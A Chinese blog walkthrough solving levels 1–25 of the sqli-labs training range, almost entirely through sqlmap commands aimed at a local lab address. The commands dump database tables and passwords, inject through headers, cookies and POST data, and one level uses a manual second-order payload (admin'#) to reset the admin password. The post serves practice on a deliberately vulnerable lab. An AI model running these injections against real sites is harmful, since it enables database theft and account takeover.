使用SQLMAP完成sqli-labs全攻略(1-25关)

作者:FancyPig | 发布时间: | 更新时间:

相关阅读

data-postsbox="{"id":16195,"title":"【零基础学渗透】SQL注入的常见方式汇总","author":"Sec-Labs","author_id":10015,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2022/05/20220519074409830.png","cover_video":"","views":5636,"comment_count":378,"category":"cybersecurity","is_forum_post":false}">{"id":16195,"title":"【零基础学渗透】SQL注入的常见方式汇总","author":"Sec-Labs","author_id":10015,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2022/05/20220519074409830.png","cover_video":"","views":5636,"comment_count":378,"category":"cybersecurity","is_forum_post":false}
data-postsbox="{"id":3826,"title":"网络安全靶场搭建与练习 附攻略和在线版","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":11278,"comment_count":152,"category":"cybersecurity","is_forum_post":false}">{"id":3826,"title":"网络安全靶场搭建与练习 附攻略和在线版","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":11278,"comment_count":152,"category":"cybersecurity","is_forum_post":false}
data-postsbox="{"id":269,"title":"【DVWA全攻略】使用SQLMAP完成DVWA SQL Injection实验","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":7266,"comment_count":3,"category":"cybersecurity","is_forum_post":false}">{"id":269,"title":"【DVWA全攻略】使用SQLMAP完成DVWA SQL Injection实验","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":7266,"comment_count":3,"category":"cybersecurity","is_forum_post":false}

使用SQLMAP的通用思路

只要找到注入点,直接一把梭就完事了

譬如我们这里看到sqli-labs的带参数的注入点大概率是?id=1

那我们直接用sqlmap跑就行了

查看数据库

sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 --dbs

如果能够爆出数据库,我们接下来的操作就是固定的

查看数据表

譬如我们想看security这个数据库下有什么表

sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security --tables

查看列字段有哪些

查看security数据库下的users表里都有哪些字段

sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security -T users --columns

查看列字段的具体值

查看security数据库下的users表里的idpasswordusername有哪些值

sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security -T users --columns id,password,username --dump

这时里面的账户数据一目了然,这就是完整的操作流程,所以我们一旦能找到注入点,并成功日出数据库,游戏结束,后面的动作都是一样的,因此,我们在后面的通关方法中,只给出日出数据库的操作便算作完成!

sqli-labs第一关

sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 --dbs

sqli-labs第二关

sqlmap -u http://192.168.10.215/sqli-labs/Less-2/?id=1 --dbs

sqli-labs第三关

sqlmap -u http://192.168.10.215/sqli-labs/Less-3/?id=1 --dbs

sqli-labs第四关

sqlmap -u http://192.168.10.215/sqli-labs/Less-4/?id=1 --dbs

sqli-labs第五关

sqlmap -u http://192.168.10.215/sqli-labs/Less-5/?id=1 --dbs

sqli-labs第六关

sqlmap -u http://192.168.10.215/sqli-labs/Less-6/?id=1 --dbs

sqli-labs第七关

sqlmap -u http://192.168.10.215/sqli-labs/Less-7/?id=1 --dbs

sqli-labs第八关

sqlmap -u http://192.168.10.215/sqli-labs/Less-8/?id=1 --dbs

sqli-labs第九关

sqlmap -u http://192.168.10.215/sqli-labs/Less-9/?id=1 --dbs

sqli-labs第十关

sqlmap -u http://192.168.10.215/sqli-labs/Less-10/?id=1 -level=2 --dbs

sqli-labs第十一关

从十一关开始,注入位置会发生变化,之前都是从GET的URL部分注入的,现在这里是从POST请求中的Payload进行注入的,因此我们的命令也相应发生了变化,需要使用--data来定义payload的内容

sqlmap -u http://192.168.10.215/sqli-labs/Less-11/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十二关

sqlmap -u http://192.168.10.215/sqli-labs/Less-12/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十三关

sqlmap -u http://192.168.10.215/sqli-labs/Less-13/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十四关

sqlmap -u http://192.168.10.215/sqli-labs/Less-14/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十五关

sqlmap -u http://192.168.10.215/sqli-labs/Less-15/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十六关

sqlmap -u http://192.168.10.215/sqli-labs/Less-16/index.php --data "uname=1&passwd=11&submit=Submit" --dbs --level=2

sqli-labs第十七关

sqlmap -u http://192.168.10.215/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs

sqli-labs第十八关

这一关注入位置就在User-Agent

sqlmap -u "http://192.168.10.215/sqli-labs/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

sqli-labs第十九关

这一关注入点位置就在Referer

sqlmap -u "http://192.168.10.215/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

sqli-labs第二十关

这一关注入点位置就在Cookie

sqlmap -u http://192.168.10.215/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs

sqli-labs第二十一关

这一关注入点位置仍然在Cookie中,但是uname=后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"来做base64编码

sqlmap -u http://192.168.10.215/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" 

sqli-labs第二十二关

这一关注入点位置仍然在Cookie中,同二十一关类似,uname=后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"来做base64编码

sqlmap -u http://192.168.10.215/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

sqli-labs第二十三关

第二十三关又回到了get请求,因此我们直接注入就好来

sqlmap -u http://192.168.10.215/sqli-labs/Less-23/?id=1 --dbs

sqli-labs第二十四关

二次注入,在这里似乎用不了sqlmap了,需要手工完成

先注册一个新的用户,用户名为类似下面这种

admin'#fancypig

可以看到表里新增一个用户

然后修改密码为fancypig666

点击Reset

观察数据库会发现admin的密码被改了,注入到此结束

sqli-labs第二十五关

sqlmap -u http://192.168.10.215/sqli-labs/Less-25/?id=1 --dbs
标签:sql注入, sqlmap, sql注入攻击的原理, sql注入语句, sqli-labs通关, sqli-labs安装教程, sqli-labs, sqli-labs-master 闯关游戏, sqlmap使用教程, sqlmap命令, sqlmap是什么工具, sqlmap参数